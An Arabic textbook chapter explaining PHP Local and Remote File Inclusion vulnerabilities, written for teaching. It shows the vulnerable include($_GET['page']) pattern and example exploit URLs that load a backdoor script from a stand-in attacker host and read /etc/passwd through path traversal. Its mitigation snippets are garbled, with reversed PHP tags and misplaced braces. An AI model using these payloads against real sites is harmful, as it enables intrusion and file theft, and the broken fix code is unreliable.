الفصل الخامس عشر
ثغرات ال File Include

المؤلف
د.م/ أحمد هاشم الفقي
استشارى أمن المعلومات و التحول الرقمي
Ahmed.Hashem.ElFiky@outlook.com

ثغرات ال File Include

- هى نوع من الثغرات الشائعة الموجودة على مواقع الويب و بشكل خاص فى المواقع المصممة بواسطة انظمة إدارة المحتوى مثل wordpress و Joomla و التى تمكن المخترق من تضمين أو استدعاء ملف محلى بالسيرفر او تضمين أو استدعاء ملف يوجد بسيرفر اخر خارجى.
- وطبعا الأغراض من هذه الهجمات و استغلال هذا النوع من الثغرات يختلف مع اختلاف أهداف المخترق و كذلك باختلاف نوع الثغرة حيث :
- ثغرة LFI (Local File Inclusion)
  - دخول و معاينة الملفات الحساسة الموجود بسيرفر الضحية.
  - تفعيل سكريبت موجود بالسيرفر .

ثغرات ال File Include (تكمله...)

- ثغرة RFI (Remte File Inclusion)
  - تفعيب سكريبت موجود بسيرفر خارجي يكون من برمجة المخترق لأغراض عديدة.
  - القيام بهجوم حجب الخدمة DOS.
- ما هو معنى include؟
- عندما تريد أن تستدعي ملف في php أو JSP فأنت تقوم بعملية include أو تضمين للملف. إذاً Local File Inclusion تعني عرض الملفات المتاحة في السيرفر الذي يعمل عليه الموقع. الدالة المسؤولة عن عرض الملف تستقبل مسار الملف المطلوب، وقد ترى مسار الملف في رابط الصفحة في الأعلى، هكذا:

index.php?file=filename.html

ثغرات ال File Include (تكمله...)

- يجب أن تعلم أن وجود ثغرة RFI أو LFI بـتطبيق ويب له أسباب أخرى غير الخطأ في البرمجة و هذه الأسباب مرتبطة ب PHP Features و تحديدا بملف php.ini و هذا موضوع للفقرة التالية :
- PHP Features
- Allow_url_Open
- هذه الخاصية إن أخذت قيمة "1" أو ON تمكنك من استدعاء لبيانات أو ملفات خارجية ، و يتم تعطيلها بالقيمة "0". وهذا هو الخطأ الذي يظهر في حال استعمالها و هي غير مفعلة :

"Warning: include(): http:// wrapper is disabled in the server configuration by allow_url_fopen=0" [...]]"

ثغرات ال File Include (تكمله...)

- Allow_url_include
- هذه الخاصية إن أخدت قيمة "1" أو ON تمكنك من تضمين بيانات خارجية ، و يتم تعطيلها بالقيمة "0". وهذا هو الخطأ الذي يظهر في حال استعمالها و هي غير مفعلة :

"Warning: include(): php:// wrapper is disabled in the server configuration by allow_url_include=0 in [...]]"

- سيناريو الثغرة و اكتشافها :
- يمكنك اكتشاف أن الموقع مصاب بالثغرة من خلال رابط على هذا الشكل :

```
http://donhackingaricles.com/index.php?page=article
```

ثغرات ال File Include (تكمله...)

- أي يمكن أن نقوم بتغيير article بموقع به سكريبت خاص بنا :

```
http://donhackingarticles.com/index.php?
page=http://hacker.com/script.php
```

- وخطأ البرمجة هو كالتالي :

```
<?php
 include($_GET['page']);
 ?>
```

- استعمال get يعني أن يقوم باستلام أي ملف يتلقاه بالمتغير page

ثغرات ال File Include (تكمله...)

- سينـــــاريو توضـــــــيحي
- الان لنفهم بشكل أوضح الثغرة سنقوم بعرض سيناريو مبسط ، لنعتبر أننا نتوفر على موقع http://donhackingarticles.com مثلا ، و هذا الموقع يتوفر على 3 فئات hacking و Security وِ Contact، وهذه الفئات يتم التحكم فيها عن طريق الملفات hacking.php، Securtiy.php و Contact.php
- و باستعمال Include يمكن استدعاء الصفحات الثلاث عن طريق الرابط :

http://donhackingarticles.com?page=**contact**
http://donhackingarticles.com?page=**hacking**
http://donhackingarticles.com?page=**security**

ثغرات ال File Include (تكمله...)

- وطبعا الكود المستعمل يأخذ فيه المتغير Page القيمة التي يتلقاها من المستعمل :

```
<?php
  include("$_GET['page'].php");
?>
```

- اي مكن استغلاله عن طريق ثغرة RFI و استدعاء سكريبت من موقع خاص بالمخترق على الشكل التالي :

http://donhackingarticles.com?page=http://hacker.com/backdoor.php

- أو استغلاله عن طريق ثغرة LFI و استدعاء ملف حساس من سيرفر الضحية :

http://donhackingarticles.com?page=../../../etc/passwd

ثغرات ال File Include (تكمله...)

- ويمكن أن تقوم بتضمين سكريبت به ثغرة XSS ليتم تفعيله بمتصفح الزائر وهذا أخطر شيء.
- الحماية من هذه الثغرات:
- الطريقه الاولى والشائعة بين المبرمجين وهيه جلب الملف بشكل مباشر وهي بهذه الطريقه

```
php?>
include ("include/config.php")

<?
```

ثغرات ال File Include (تكمله...)

- او التحقق من المدخل وبأمكانك تعريف اكثر من ملف عن طريق الامر and او &&
-

```
php?>

if ($abdullaheidphp ==
}"login.php")
;include $abdullaheidphp


;else die ("not fuond"){

<?
```

ثغرات ال File Include (تكمله...)

- او ادخال المسار في متغير ثم يتم استدعاء المتغير

```
php?>

;abdullaheidphp = ("include/config.php")$

;include $abdullaheidphp

<?
```

- اما بالنسبة لسيرفر فيجب عليه ان يقوم بترقية اصدار ال PHP الى احدث اصدار

تم بحمد الله انتهاء الفصل الخامس عشر